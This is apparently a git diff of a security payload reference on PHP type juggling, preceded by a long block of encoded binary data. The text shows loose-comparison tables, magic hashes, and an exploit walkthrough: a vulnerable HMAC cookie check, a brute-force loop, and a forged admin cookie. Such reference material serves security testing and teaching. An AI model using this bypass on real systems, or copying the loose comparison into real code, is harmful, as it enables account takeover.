zbc)Jo^lU*NXj!(u>;~M|!8#xnS?Ul@Gif0M0?4%kZbmw>uu*~CrNXlI)Yvo|!?9}R z#}(u4vM!y?CkItS+f!Wz)@U8E0~_Lj+R{q23%`kLIMLhG6}!*2{;!pd2Yaom;2AeF zRM+|ZM!zrjva~iDm{can|ZJ8pm4+3%doRcuz6j2>8i3L{U;J z+W1spH`x;PY{$?mio&s^R{E57$84Bas*b=q&3qq;$~({b%Ob5^oQo_e1wuL@jK@}# z`XT2+RoEUoO!}wGB2Sm+lm{dF14w7q>$ZKbcK{zC+S^SkN6}A5(7?G*w?<}y zpNkPM@b~Zj?D8df>-Sx#TT4+GtrPDoQFCzA8gnpQAlIcew?Zz8nz*sB5_Q+lnZYg{m_j-uL+QO1zX6EwnoA@t- zvmmCEY}^`8o*nwqCZq2A35^F?jPvXnLOIc&1cdS0~eEpqN(w8=u z8|Q8=;+xb_qD{lVo#|$TQzFr+;5g-pIbceT@AyD$La_Z%8o$#i#u*mGaFsb5IyeT* zlelLe?p1-BWRC-@=%L3|!KA4?t^&q6EipG*CF;r<^lT^j8$!Df2ie&&%9EDNq~Kd# zZ}1h9C_G-*N5j*BQ~n!{V6~N|$I8{Lw$60eF}$$mNvQ9`_ED@yFl-edr6ea_k^V2s z9=esSt|n|PrbQfRcg_s28*YWEqAGTF9+n^$b>7l4W8cB2X7FmX#E_@4sJ4VYG5GC= z3RFs|b>P@1zz_s4i$9>h0(c6@KZs$n$Qwa#fIpUtF)m=SRjiC#bA6hbWoi+w6KAe% z4gG$CPR?H}Hr-;x^hT#LuF2aSvVZdtMm|i$57ECxl7L8fV;rdxKqQjiB6CdwZ}d0$ zwV!i_bJ5Rb_8d=bvQkYs(e1D`RE(3j*)FVV$gMzVPuk|348G=V>z~KUnWSVl=m`Mu z!_08R@C>)@8}503{gG?I%P5av^t8G`Oc>lP6&`!iVecndE6RqM)yygf?$V^$D!(8hBu3H=&JmeAR2Gelr^Y zu-j3VNO8^V4x8Jw{=);M6kcpgd{Sw4FTP;^&^w+bYTepMC*!4A$=VV-e=DiQ+TdkH zee**AXGA0=(NNRgMIQgBk7~rd$&zrq-Udcw#o7JRWoUa3H4yn3(+A^EXBdAD(@scq z-M5Ms&fjiS9P;k<+G$$&Avdig3Qsy#|66jQVyU+FWs2nF()^~YB9uIw2<5j-k%+(Q z^T47g6*nL?Q3b7fX8IZN#)p%XMQ@@lp{w z{qEnCc$SE2T6UEfqn#n`>rTLlw>)ia8s0h!onfYil2Nx|sv*T@!y*uPwlv*n#m?0n z{`myA_N#pPGRR%Afux%aS84fekM>14O+~({n&Vc^;|mg=xYu1_EVRV?%RaR|Sj;`_ zj{tKfwPLBp8!jn1B}40i{M7|hqZf!i&1mb9SoofkyV1DS1l$6m?J(xEUy2`)?9qUE zsi8cWv|(NvG~leSK|%XNA9I!#drTf0M)?mpc10A>FbWvXLBnXpEBOUMr_DU8kV71+ z7}!mrS9Z<;z5;q%?FV1D;Z^P*v2x9%=^kAmJSW<%yy0$tcetfLUF))#|Nn9QBl|Bo ztx#eMDgi4(gtUgE<;z_y5s~sSM0-Qm0uoUaDq?H7vTSr1MoaUVR@5K?zVu_>INlrl zrE$LUDYt3tPmcEXcFTEyow^MB3Jbp%)Dy8^|H41d|Wc;%HDnu z!UmJmLcJ~XbL*Z(MyhqVk!q3RseuZd;j{Du+g}S{*8H>5_k}!Y`?{GCEz}3M$o@UB75KeQ77Eo%v-;2wV&h z@%3zoqPXr{?vV5IykZ6~pG_D?`Qt~DGTa)IZMwOqlBOses0AgpNagjGZyJd3di8K| zuWJ8kE$v48>ylGpNBHIsKY}3{;wUesT3bDtYD|U-(-w8+ROu+~NqKmsM*69kX-`MW zn>rrY$JeYpoE}DQSZPMj)V{8I@-@G5_%}v{RbCg~HO}`uJdFpyovEjhsb{mqr96bX z2F~tZ+Q5Tu0sdPpQgSE|gvhWPS{ToNp^bZeVCwwQKwo$u?!8Rz8L>qw(5v}DU+5(y z*@s@8&<1b0(PKX_+E|&e6z2m|&Tk{n4tGG8kE&UA5MtZ_aG6y&qJ3^u_^RBb;ADD* z$(XSTlc^TE-J>hL**eJ4uU{m30vpk2Jj+6Uzs!qIGQj2XeB3h%KYTF;&o-{%b1%+s zYMqMM1+1-el|qlY5dqSqNEQDtkH_VV5fUuWv~^wdi^Jr%vdJX0nBPz2=v&+tsy|;l zAJ%ShaU!FKQTH=;>L_OEqum0d8wImgP`LoL(1(xH+`zTD?sm*UUjYc==ru&-QXUpO+|*0wKoRpBCf0x(%& zzr|$z#^q)c9&Tdv7T#e6m9plS{c^+;YYp8P&A&#Bz{xCuOfhwlDdq)xRD4Ofb9suX z2Uvucvb}{B3{20RqfVOp?8GJx=1+;*>fCiHn!Y$h9)!S0q}I$ZSL_9$XJwOlSa?}> zPNj$11_|RNEylk9{iLG#x>c*L^Om9o$kANOZpnVh($hWQE+RppU6!D5ob6R(PxNOP zdB1e8f_3T12K#qgW`3SgKc(4seeeFF!gO|jrNadbusp)IesGh@-0*B1&co|b5=wbd zh~Z%{h_GL;i4TNssqajC6N2OT^^)u(cIDAs9a?0~2ZO=sUVJ+SKPCjiw4RT}uC!ib zsaQ8hcE_kr%wJ#Eai|aEDsS)~(5%uNCL8^6yb_{FhC%(~NYz=(I3b$ztpq4I6r(kG z6T&|Sg0Z!|WzZO+SYfb#|HPw!)P8(;Vv?Tyh7+Kxu-SA37?Hn3SN;4AM`Rx+Rt_at zeXyvRo&27e&m7EBu>S3yW(3rf)$BmvavSBIH15EUD9vcs-U1v87jq}B9u1`xIneFo zh6*J)wo&ZBE#d@U&He(FjFfYE!egIQ2HxzwT92&9j8`^sd1REV=H@Q1Wv;yivs>i+ z#DNW7kDKl;1e5F8ab}sFC=j>DS=}(UzYHZ;c6F5k8uMVxoV*%(jj;W^I{pDB|Hf9q zXU>1#_Q(6mVpzwSiRe%qolY{A=YLhKSHky$qeohYna7ml$fsj;S5LHlxNOYTc%OU3~P4tA@H zW#p2;z~10OBeyU0wr%%`954zPWo$5zv`fH9|IvbDi3Af&0tsDi6PWij{b9ISlYl0o?RfXCafu~>woxzKFZ?Xw!A8DVax#53^P>ny>!I^G zV~@-sW0W?9c(CcNzL_3!NV}Dy$4$n%lrsv#lcq9X!Bn&~Ws2-Mri}oY;04_=;9Fh~ zpM3N?7!WG=R`QMmL=^eozhL;R3z?o)9UU{hPj^_CNLH4g6+vpbEomRy%l?R10!rM` z-l$S!9Qg#sk%w5wBL2ZN618GW_=a1Ae=mWzlM=+0zdX}p3({%dr}EM}FP)U%ZbI_& zRI#%|CLQT6jp@V#WlN>wJ)}>-2}h~5pptTN^SV96u}LKoI9;Vp_{M!F0W>>-p4R%y&$Y;<}Tx|M&q+ znH1Mxms$ng)%!~<=3s$iIM?>|nc!p=@dXh5i=wJZ)PUWC7_hbH^MK*Zg!oGh1L4 z+^b?aLmC8w%KOD&OHj;`=Dw&0-**3-yTCXjQ zkNK3q6ng+6GLqtElg{Bf(e#x9oG?@3H=|s8btILJ7QZvB@b1d-W$4wKi~F=u^seBK zduC4N7{K4`TjpC4{!O54v_f~|ObnC4cn6K|GWL+D+WT$>qQxXKbgPnDU6Cno|A#?< zgdmzL({1!8{&QAIhVH>!SsV7cIN1rhxvGOi?= z-Bg37b`-@(L^SZjk*OtO(AXT32I)S_Huoo1)#c9H7|P5qK*@T+*4mLmXk4Q- z{GGhNsi_mN%O(OHh@U%3=UeB*B;yU9yn<74jk1rc>@1FV%vuML+qYW#W&gZ^$^=p2 ziCX-DKd;h&B?nyPKX27~{B>kvY%fZx*GE)UxJ4`h2FoD)PEVL{fwXMrNXgjRj>o(z zfqRC>e%nW=UHVw)cy<$nJZz@YJq6@N>FPy{+Pu+7Y3%@psTX02q=;#4v0z98a~vN7 z`?9bShLG~ZCDX|0Z!Lkbnlod~y=Vu84JDiAkISU_uWr@6>`SY%U$p$l{l!cpGh|pz zSHrvU^F&YII8wS&ePNZxJ^k4%dFS4(W+ONVhl4slni25PD<(!UF{idd$`U7co?9aR%C<&)KysV-0tI^VK&&vLJ-ZA^2 z&Tw(x`peZ=>u|_#z>6qDWn~qWLX#UHGr}EDrb1HhV63tNeOp8N<{#OjS>1f*zRgOVh-)knJX zO$C;T)*4sdei%44c$x04_ROdPdNvr^xQcca@MTXKoU6BK{F4b4G+V= zn^F)$kQvTL$9F$aT$gZ0tNQ0icm*%NBZl$$2`wV~`&+sL9A_Dk$(EW1#o~|a1|?-) z%}s#Ovenl}#IM~fBZ?U-n|G&C3Gk(8bKi@xlj^lXWu}sdsKf|fq3yUDhcA7%Vg%pO z%u}F9lF<8vmo!f1nl0H5eR}uy)di6pIUjmZo#r)mP%~TOrg7Az0!VHN3hji(IOF?uOI8~>{qZE%{nso_l+GiNrVWvLs zkqu-j$Z(e};W)d-xVWE=>HZ6IiZ^#oaR_pCo}M7?9lB0ae#M{rvi3ap^lX3n_=^{xghyGZTiW~WZ2;icTA^u z6t`=&)9+||sFGQbmYkchICaCdklI+G6JH%?KjA#$IE@OkXrNODz_#F|MmBZ*Hdc?) zAEXLx;tZBTDniybOLkjpTWPzK#GaJL`W|6vHJvVXDh<8s*Ut9}nrrPi4Mo_@Z(=&rdrk6>ONbp(Zd zyF_WgiTxc($+g)ETAM|I_>dw1^HnI>SYy^!>u1NS z+LPU+pmLC(-@L>9^$Ay{Poe%u%mDeR3#1Uh_Oqkx7o+$Y10J*7Z2AE1Y1Al=#Tmsd z!6>d#^=G3vG|PpU$s~G|fAR+;*ytfVAi@iG`N10f>&M1*7MoL^f9BIAspA#>DAw{V z9GyRUwRL~{e(yc&m81LlnmsE1K2QK^1Z?jRwI(S-0q(9x^N*B%-P}5#REtGj;5Oa77Ax{=DK$hQeZmxRV zV*e^(cUxB^cX@VEneXRdlyt(K1<&n2T+4Y*IY19swg0$K{&9O(9>*(d8T&ABt=rNE zz&pRK2F5yf#eg8$4pLhvayAc+kGphfwgz^LkCb@UwR(BBgH7S|&!v6f3b!MiO2Qoy zPVidXijt4PbW$O#9Y>1LQNVO}exEo6II zod2s$8#2s~PF>G_K4&LUgMwBOOUm<(GUXuuPBgmAs6;PA98s-M`!?@u)+TBHjtFzx$pmohe(ES5P1}0wz*~gKhh{<;r zR*x)hVYl@EDZYZKX78OOZI;j;626XD=XU~}1xp1>Bf<{@RbpBBssV7)o&62f8W zZ!EInKxLKD^nFm%%+?rl4D(^9biycQMNmm(Y!{Qw19(Q)ov}#4`crPre^Nu%lq7sP z`{&MX=>1NHtoDAWM|~Yp8-HyJFD{%A^_a6UvfYLQekbA6@MI;Q=U2~yqKM)bXc6({ z7_VzF9+uSW!6hD&5H*&92ota&?d?#~ID~IS6bQ+VkC`$Bl$RTJjqm%idHPvG_7tWS zw3hNhvPlG5%VUpzXE~rF8~q)05)2PhxD{IoZAqX@!Kh%F@{0Wqq$|j+-B&I64r`RhDjz1+I=L{4peWrHlsDl+ zbgJimnRlkfeweN}_8AeRe8|e`r|Qqys*$m1Bsfa@FC)69|uSlQBkJhik__CR5jR1MJ!wWmXHUU9E59OsLnb1ml! zWRan=6nb<&8UV}=&W;8r97wsp4qmqF*-P>}KPWq{kXi6OB&B+-cJ6Epd2Z!XJ%JrJ z%B9k#`p2V`tLMnRiBq@eJ7(go2j~r@jO!@~J zy&GgdGCpp{X%wLH;Q7j+UT=`l1_k)bxyr{Q!c^kNd5mYPlpj_EuZF=!9Etzrz>l_|@H8R*T z)Gf8uwTpNvhg4=JBg#D@8N^KU=|?F2sRXoXsaj_3554b}XAMG*rd%BKodXXVJk6o2 zEX~^#u+7+@!Azq1Y)ThS0%Oek=S5}+WjU?8-8*75ww_uSpsOYiBVo_DOvLw(w2_?ut9#u z5I=3I!zGW$w?eZYGAS;YmYRQ+-PPYm^>x+%M`mDF#r_GMx_ZU)PAA-4-1Q0HV!r-I zE#~in1y;eBPaY5VOeHqnvV}MBdB0LoeMOYypXaV{xZ+XA*Yyh{*Npk4fxv)&i1JroAy%UobB@| zn|~ttemXqL<%^j+)7piuApkIZZcZFq+&w70zeEne>afixT;29+(oO2AbodMsx*V+g zfX?Ec?(X@ehR?T;?bc#w62{7Osra$`4eV!|uVhPd`vJkS4G=6ukbkp(5B1l!N8;S9 zBPfE!ptvhIep80J{%~aFVlP5-sg>}2?!X0^ei3o_Og{?4?WoT^d}3HFK4f19betCO z4NQW-im3xhOXAdE&2CeAylW>Dq4g#>Th`Em(;e3uqO_FX_!!pLMsve((`JM24H_Kz z3rd`lgd**-IUeDDZHy5IOCNp`>PXJiiHuA$z0$bx$$&)0w*SEf5s{*xUx*6=@^Au> zDeM2>K*%KBTc82`zCGq10HN{Gc!qSk2Fv!yuDK@P-`M02BrD%EJ77-{6`qbLTC(T| zJ33p0gJGtt(7I-#drALy6J2>7{6zPDGQxEPDe5X~^YZ|00jfqd?af8UWA~BFoFYYu zU&3?Fc%xoesx1 z^bI)>bHLcKU<>ke@R8xL(JyQ9buz6YYL#H-Wfc9O_}Y*UwXeHA{{Vj``|U zAEq0}j0RP_5q6oQ9<^d_6I}pRi$%q$W9%hpOG<_Sq@ybIsm~YIsFr>jFxAMr+TpE@ zch5i43z@H9GxCMVFeD`uPm@L!r>M2@aNi#*)<*Ni5FKvcC(Ok$Rc6Ujba%rz8?RF; zOf(KX&0#;1Vb+=2P(a`7)S$w6ET>wFEDukX{{BE(GUv`88Z8^bG|pEyxP9LE)Q$!# zC|lK@!Gd$}SH4`Xl$nTx293poXdaxco;Tue>ZL6*8D<^7i#eHB{Z(0h_x;midDoRA zhI0y2V@$5MwJeHc+S}H?@6+!;JxnE87kK-JVA*Mlz#}u* zv-BCa47Cf@_zjR6lfn z*V%U@K=_myJ5vr?&HJ~g=BdbYN9xT8pH>_RHIUcoSqk3du92*INI)x!joJY8IMj+f z*u~F@bangX0amThiicGvjs+IV1S}e`)B+6w$;ZnIu+V_D$_6Ok_#`}>ey8WYRksyl z;2)On2=N1xEa90X8w3t;Re>OSdVx`r+cGIn4&9>BP#6rqHHx+CKHX-elhDLdLu>iq$D-n29 zlYkNusruXx$w7pU)eOF!D}XRTUGN8u$8|A%zQ?Y$sNVlPPF?Ck3ELB;T>CA$YNi=R zQJ(f=v#?d|Zfo1WYW#o?*jTf;C4v@}w|CPR0L1ljc~AcTR^FMRysQ0?W3^4u8w;gl z3R(D+xQOxHDih$glhkw+OL~}^yP*0U*~^oe)eU6bz@svnzkckE;SYUkgG?d_zhg^7 zqZ`z}Z)}ri-{3_iR9CQne%Q9v!}^zqp`-9=UG_3IP&MQLb`**3#f9NT;(a29lCsG{ zN97aU=M=#eyyi8&v!kN>L-Pmmp{7vDiM~`Dg)n7h^-*l;5$fFUtlF6O)YwEZkf1Vx zXK@|Cuf@68-)HY~*Oza?c|}%Nu>7w~;m#c5dnXk%%9xSVJb!#@Ui_RK-1eezc=E%9 zSwoP1jkyc75=au;}ma8J6qzf5TV%a~M%IIkJr<^7u_o(ck^5vhPnrdpizk!hGR1Rd*@Y~j#Kze-6 zl%Whn^Iqasw7)szGd@Dqx1nvC|KPB#av#izpU&Q?3Bs*qqrd&KmbFc!dcjlR+6zKd zs)X)vrH?B>QFAq?-mx*&vl-uzHv7ij*j$EtgRV1GE%G^#^$?=-z1ZQHO-}VOo;y?# zDp8V@6+%@<^sBEWdLdm#X@u<#9O}6#!=-yNGm)6DZ#fl6s@r6pMv6v> z?vh58P@FqpOrd8xf|x+qNJgVIsUH^AM(<1v)-HWej;L0(wjcd;jO`rG@Ho;$Ys+p7 zNw-UrwyChBeU_DxtwOg`_rP=l<1|zuH0psM_u+If{gd%6+i$&9{DvldB6mD)$s?ju z{f~mAl*@NkS`=FD(B~1D54s|Q#j2ash#yhf5|8k;IZIAot~*2<76H(kADuhWzP7sJ zjgPVYf_8E-Y?v0BP z>fv6XbIb34b~}+=5^b=#{@h?g!jipqafc5Qu(Srs4Qnj)=VupW`7;3nUb*d3U#z$x znpQi(RHOXz&F7mB81~jRbE(>0{8U-0r?#y}HO^LWd{gav^e9qi)%G2s3e+rRJ=eQl zJ7OwX>@0NF{=s0KJZ?zoj|b+2Z)4!5pU#Xwqcj=MgO6QW5zpdbIdBN4{H@m>LLGBW zsLm17-EN(S$O1@eC?4f=n+x3}8~q@<`-q#?XY9e9e7Q?M#0S%s*q_kMqhxG|`@zMlk^^_Q~qhO?WuK>bsHAq|}X`n1WCT z%#zRuiI=i2tD)8^5@eAkhm7XIm9m*xRW6baWZRvKC^^PYbphPCa?2 zahQ5t!C@(PkCT~)H`B~owH>`raF8)}LID-WYV(-{T7po)_Z&rM>>=F-oq6`Tdxp^>QEcL_7@s zXJw51zjS^mip-VoKd|TBfaDzkoL=f(|NgK#2`-0CNW9;rvt0jXJ_f|B|4P;&1F`B0 z54Oyk-2KRg_Cmg&#vGU{j|-arlK>?nKCgJe3sp;}Yd*r{Q#8lWwWl#2;eOkEpV?Mo z7q6096;Oi)f9zNT)dBwpzAYv|$U$kP3#c9zrfIj5^VhMrd+b>sq4doQBV(i{^Ufgg zN=iXh-6ZIpqoc|6;)AIKALJyrX zuyAh9;XP|EJXE`VJP;XR1DfYjm)km(S(7Lg!){ho@g!~)bRMtFT_MOJ074BK5y-qb z^aQd>bRf;;+*HC6|4Zw43l}@xWcsQe%f8oV9uc`q`mBUP=D=MF>v??(P(K}#7O))M zz|Sh(0lhG%j4{g5DT5Tir+N6Y8iX&a1(UWZD`gdl`$2N2(pUJV%dk^~)QLNY!;>o1 z&#fB$b=bED2u5P_PJcd}aBGWp-uF|RGeQo`Da-g_V{!++RZwl!%hhoz@`(5OoF;X) zpFz$}7qqknvsCJM{^@|FcR@OuFOx%)Y5?nju+kXXh~ICEvazY_=fMytqeL3U9J@nzL8}vVPOTW>mMhdr{-`Tg!cmX zGVn0f2su$JlAq3^;%~=}>E#)*YHjNgiSbb1-R2XT8eBfcXuv2RtXyjSy?e_-- zw0`!Xffx46ffwGlwseQCVGbm?AfZ+<7G@>N`#VnjENSJ&|#?(nh4Z>-kzaEHyF&E@Y|ifcExh0GT6_fw2G?7$L>1 zP6s^J!WprGA0VX9?Y#X++tlbBe26X%6tJVT zrM}|xG{uq&+zR0QwKE<`R}jmiYH@cyetJhm(4zZ36RL$C|CzKUFMpZ|Tt#JoiaLs` zsKToiRc|@)>L7vciB!-%QkxqxG5oW{3G=SFN;D||IQ3X8m5z-Pq5`U3`*XMMrc~$d z=_k>>vV(2Yz36^!8PTV#mDAE4v&?rv098;?Aw9A>pZ4d;)n=Y!kLmiDq|vEmu{GhQ zU3Y+emKUsucKN#0?hJ52E(VOIIwf z%R#7=m{I5!IU0XKT*iB;zs?bBUi0_NWk=nEi=*>)(TtHvrEx{dXkvGriV8Q#oV(pc z|Ea8-IgyJdKD&%X^Ub({{gB(xARy~NK?Bq9v^1cNI>-=+M zQauou2boPX75`0S6Z3^=OyPD)od$qdTG+RLu}ogSpdIleb;h7{!sNZ`wVCpD9kP6m zDQ50vJ5RKOjF@=JpTDh~Su3Z2(tAR5T1@7Wh2YAlj%%=BKFqn>noKTAl!FRHOZgoT=~`3Nq#G6JmQ>|96>x z|81TInWVj=#wx1->3B=T_zS#sl8`QSrwD9|aSU^`7v?xri?J1RzK4vliB@3=$nPBR z$xo?%znM4-ATffw;Lvh)JiDK*E zhh-1Nr;8XgDJcO9^JUCq=7OQB;W&G;xUXQf=iyKwNx>*zB9Rr|eQeK{X3b@~_~wft z#&?D8^#(4afyOvy7&OLvB7}`RDG&kazZnQMg)D)6%&*Q3-H2d}8H%AhEFe;55_MMO zTy${1+bvc#pJ&;QvRBDZ7|=hOKX}A7bacyYYL6Eb*CHdBUd5isedS!_rAL|8Abebb z#^&IL>5RyennFhwefMoN*rgqdY{%55{;kZY1m+r{M|7_gMY8(*)zu<@p7;Sk28Sbq zRHR(wUh^ZQX*8~MF^nb|`(9}*gRJJnjc)uvsSTpXd&55AlPzpvQAl z8d7O-S32H!L{(?+5Z>mQ#9<5~0ZgkNasXTQ7zsGF1TCK5V`4VjBWl}XKl9O}^?aWv z*9)hUZdEAz$Mx-}xqTlV{1-V>RwYK!3cj~Wv3bRghaWVJJfnLh4d-Q0^4sL2{+6uB z*+4cl`|=i4*9R398*MIe7nlpv*=aY%L{^S9Z%+Cx{B@Z6&*gOhb4svRSra}fBNPL= zk_Nvqgf1t~ukBXTMG_Of9zCgGHMLbPmgU*0A{NV+^3Qne9_mdE2m9${Oq2vS)MS6S zA2^(b8QGz3$1&2+<)Co(#2-n-q4qKcn$Gk65`xvON1Q*BrtgetP`*e;(`MZo!S8S* zGJ~>sqjfv>@*7doJ=+9rAp_WZuECg6;1Blp{eUIYAc{B zp3ObHn^N!m%*;iShBhr4&3(k73fL)0hLNu~>64CknX;_szYvY;uecQ%b{6(I9Re{| z3#m5ZHGR_4CjW=zg!0T(*&ELV>}h?ba%ZHnPJZ@y<&v(pqBvg3`^BTX4u*|iL(cuy zMD3-b^^NcMs;)}3kec)l%GKWo6(au#`t_d>V!=2Xc;qY>LHaO}>efM96EOi2Wd1B7 z@o)a>;j`tCsrJe5KX2LyE!<l zHf3YB7$Ms#VKTF&iF+>ozjNh$6H-P4s%$1^w%MdKB(fdRf(u3?VC?lxDXC!-wMj)~&U;qwNsRoKt|t06Fff?oF` z#*3C0+sM~0Qsq1z=Bq7|e?{BnLrhTD-pzG(e{32)#p7CH!kjRzCV*(Jx-w)kh;8Lf zOaT45gSZfx1ed%P#~ftVhWOvIYE|1?li6-LS3BlY|5`IC9uyB|_qflZ&l z*r^}d!BpdQ-sHmteP7)h!$stu3P%L`qh%_c$^n5_rh3TNM=GOCf+rzip;oNzgp{*) z>V-^KE-BA(#Jh7CH|^7-!Ox%3wb~ZQ=)>dB)!kR6%`f-mU*W&<(~EZY9k5`@F}?!N z{&48}-mF&WSXeVS>{dx$m%91!Z1cto500rYcU_-La^`wfX~y5oS2~$!vLF?z3^a5> zn$Kc71zx&~J4#Q^O71OU^Z&AK@okrc3zrmPNj2T6d;YE2*^%@u+pM8~M%d>_7hO$h zcM}qkUqjr-Zx2XhN4$4MIR94&q~T9wpXfg*>)Ja@4wH<@9vPw0g7dd*zWaHa?6EHN>)fw&NEf8bbArPz z98x$~`hJ75#!6QRoTm^>jRIgE-k!7CrZz>dD(rP7#~;JZL=Q3}E2P z%r4;n>s?RvPQSpX#oPr~Xu4e{WvZJ=}TZ33B+b zvKI9TrAv8p>!N(Ak~W4Y$t|r-bUM~Ue7auI-%)UDZ=@CTd70F{P*zQ@af7AXF8rnG z>v}@LvGYw6Knick?xbuC6%II*6sA8VZ_RMhKW8}#Yr|kI6O!rZoADlo)_+kqaq4D5 z1{v4R@yCiCcZfmYg#-%oC*1uW%E&1?sUAipJa3}DzCv+qgz_@^T~JX~pE=8wx-jh2 zf%$rK?A>mn>|NyKqStUakD;uoyZp PHP is a loosely typed language, which means it tries to predict the programmer's intent and automatically converts variables to different types whenever it seems necessary. For example, a string containing only numbers can be treated as an integer or a float. However, this automatic conversion (or type juggling) can lead to unexpected results, especially when comparing variables using the '==' operator, which only checks for value equality (loose comparison), not type and value equality (strict comparison). -- Loose comparison using `== or !=` : both variables have "the same value". -- Strict comparison using `=== or !==` : both variables have "the same type and the same value". +## Summary -PHP type juggling vulnerabilities arise when loose comparison (== or !=) is employed instead of strict comparison (=== or !==) in an area where the attacker can control one of the variables being compared. This vulnerability can result in the application returning an unintended answer to the true or false statement, and can lead to severe authorization and/or authentication bugs. +* [Loose Comparison](#loose-comparison) + * [True statements](#true-statements) + * [NULL statements](#null-statements) + * [Loose Comparison](#loose-comparison) +* [Magic Hashes](#magic-hashes) +* [Exploit](#exploit) +* [References](#references) -> PHP8 won't try to cast string into numbers anymore, thanks to the Saner string to number comparisons RFC, meaning that collision with hashes starting with 0e and the likes are finally a thing of the past! The Consistent type errors for internal functions RFC will prevent things like `0 == strcmp($_GET['username'], $password)` bypasses, since strcmp won't return null and spit a warning any longer, but will throw a proper exception instead. -## Type Juggling +## Loose Comparison + +> PHP type juggling vulnerabilities arise when loose comparison (== or !=) is employed instead of strict comparison (=== or !==) in an area where the attacker can control one of the variables being compared. This vulnerability can result in the application returning an unintended answer to the true or false statement, and can lead to severe authorization and/or authentication bugs. + +- **Loose** comparison: using `== or !=` : both variables have "the same value". +- **Strict** comparison: using `=== or !==` : both variables have "the same type and the same value". ### True statements -```php -var_dump('0010e2' == '1e3'); # true -var_dump('0xABCdef' == ' 0xABCdef'); # true PHP 5.0 / false PHP 7.0 -var_dump('0xABCdef' == ' 0xABCdef'); # true PHP 5.0 / false PHP 7.0 -var_dump('0x01' == 1) # true PHP 5.0 / false PHP 7.0 -var_dump('0x1234Ab' == '1193131'); -``` +| Statement | Output | +| --------------------------------- |:---------------:| +| `'0010e2' == '1e3'` | true | +| `'0xABCdef' == ' 0xABCdef'` | true (PHP 5.0) / false (PHP 7.0) | +| `'0xABCdef' == ' 0xABCdef'` | true (PHP 5.0) / false (PHP 7.0) | +| `'0x01' == 1` | true (PHP 5.0) / false (PHP 7.0) | +| `'0x1234Ab' == '1193131'` | true | +| `'123' == 123` | true | +| `'123a' == 123` | true | +| `'abc' == 0` | true | +| `'' == 0 == false == NULL` | true | +| `'' == 0` | true | +| `0 == false ` | true | +| `false == NULL` | true | +| `NULL == ''` | true | -```php -'123' == 123 -'123a' == 123 -'abc' == 0 -``` +> PHP8 won't try to cast string into numbers anymore, thanks to the Saner string to number comparisons RFC, meaning that collision with hashes starting with 0e and the likes are finally a thing of the past! The Consistent type errors for internal functions RFC will prevent things like `0 == strcmp($_GET['username'], $password)` bypasses, since strcmp won't return null and spit a warning any longer, but will throw a proper exception instead. + +![LooseTypeComparison](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Type%20Juggling/Images/table_representing_behavior_of_PHP_with_loose_type_comparisons.png?raw=true) -```php -'' == 0 == false == NULL -'' == 0 # true -0 == false # true -false == NULL # true -NULL == '' # true -``` ### NULL statements -```php -var_dump(sha1([])); # NULL -var_dump(md5([])); # NULL -``` +| Function | Statement | Output | +| -------- | -------------------------- |:---------------:| +| sha1 | `var_dump(sha1([]));` | NULL | +| md5 | `var_dump(md5([]));` | NULL | -### Example vulnerable code -```php -function validate_cookie($cookie,$key){ - $hash = hash_hmac('md5', $cookie['username'] . '|' . $cookie['$expiration'], $key); - if($cookie['hmac'] != $hash){ // loose comparison - return false; - ... -``` +## Magic Hashes -The `$cookie` variable is provided by the user. The $key variable is a secret and unknown to the user. - -If we can make the calculated hash string Zero-like, and provide "0" in the `$cookie['hmac']`, the check will pass. - -```ps1 -"0e768261251903820937390661668547" == "0" -``` - -We have control over 3 elements in the cookie: -- `$username` - username you are targeting, probably "admin" -- `$hmac` - the provided hash, "0" -- `$expiration` - a UNIX timestamp, must be in the future - -Increase the expiration timestamp enough times and we will eventually get a Zero-like calculated HMAC. - -```ps1 -hash_hmac(admin|1424869663) -> "e716865d1953e310498068ee39922f49" -hash_hmac(admin|1424869664) -> "8c9a492d316efb5e358ceefe3829bde4" -hash_hmac(admin|1424869665) -> "9f7cdbe744fc2dae1202431c7c66334b" -hash_hmac(admin|1424869666) -> "105c0abe89825a14c471d4f0c1cc20ab" -... -hash_hmac(admin|1835970773) -> "0e174892301580325162390102935332" // "0e174892301580325162390102935332" == "0" -``` - -## Magic Hashes - Exploit - -If the hash computed starts with "0e" (or "0..0e") only followed by numbers, PHP will treat the hash as a float. +> Magic hashes arise due to a quirk in PHP's type juggling, when comparing string hashes to integers. If a string hash starts with "0e" followed by only numbers, PHP interprets this as scientific notation and the hash is treated as a float in comparison operations. | Hash | "Magic" Number / String | Magic Hash | Found By / Description | | ---- | -------------------------- |:---------------------------------------------:| -------------:| @@ -103,6 +78,57 @@ var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m')); ?> ``` +## Exploit + +The vulnerability in the following code lies in the use of a loose comparison (!=) to validate the $cookie['hmac'] against the calculated `$hash`. + +```php +function validate_cookie($cookie,$key){ + $hash = hash_hmac('md5', $cookie['username'] . '|' . $cookie['expiration'], $key); + if($cookie['hmac'] != $hash){ // loose comparison + return false; + + } + else{ + echo "Well done"; + } +} +``` + +In this case, if an attacker can control the $cookie['hmac'] value and set it to a string like "0", and somehow manipulate the hash_hmac function to return a hash that starts with "0e" followed only by numbers (which is interpreted as zero), the condition $cookie['hmac'] != $hash would evaluate to false, effectively bypassing the HMAC check. + +We have control over 3 elements in the cookie: +- `$username` - username you are targeting, probably "admin" +- `$expiration` - a UNIX timestamp, must be in the future +- `$hmac` - the provided hash, "0" + +The exploitation phase is the following: +1. Prepare a malicious cookie: The attacker prepares a cookie with $username set to the user they wish to impersonate (for example, "admin"), `$expiration` set to a future UNIX timestamp, and $hmac set to "0". +2. Brute force the `$expiration` value: The attacker then brute forces different `$expiration` values until the hash_hmac function generates a hash that starts with "0e" and is followed only by numbers. This is a computationally intensive process and might not be feasible depending on the system setup. However, if successful, this step would generate a "zero-like" hash. + ```php + // docker run -it --rm -v /tmp/test:/usr/src/myapp -w /usr/src/myapp php:8.3.0alpha1-cli-buster php exp.php + for($i=1424869663; $i < 1835970773; $i++ ){ + $out = hash_hmac('md5', 'admin|'.$i, ''); + if(str_starts_with($out, '0e' )){ + if($out == 0){ + echo "$i - ".$out; + break; + } + } + } + ?> + ``` +3. Update the cookie data with the value from the bruteforce: `1539805986 - 0e772967136366835494939987377058` + ```php + $cookie = [ + 'username' => 'admin', + 'expiration' => 1539805986, + 'hmac' => '0' + ]; + ``` +4. In this case we assumed the key was a null string : `$key = '';` + + ## References * [Writing Exploits For Exotic Bug Classes: PHP Type Juggling By Tyler Borland](http://turbochaos.blogspot.com/2013/08/exploiting-exotic-bugs-php-type-juggling.html)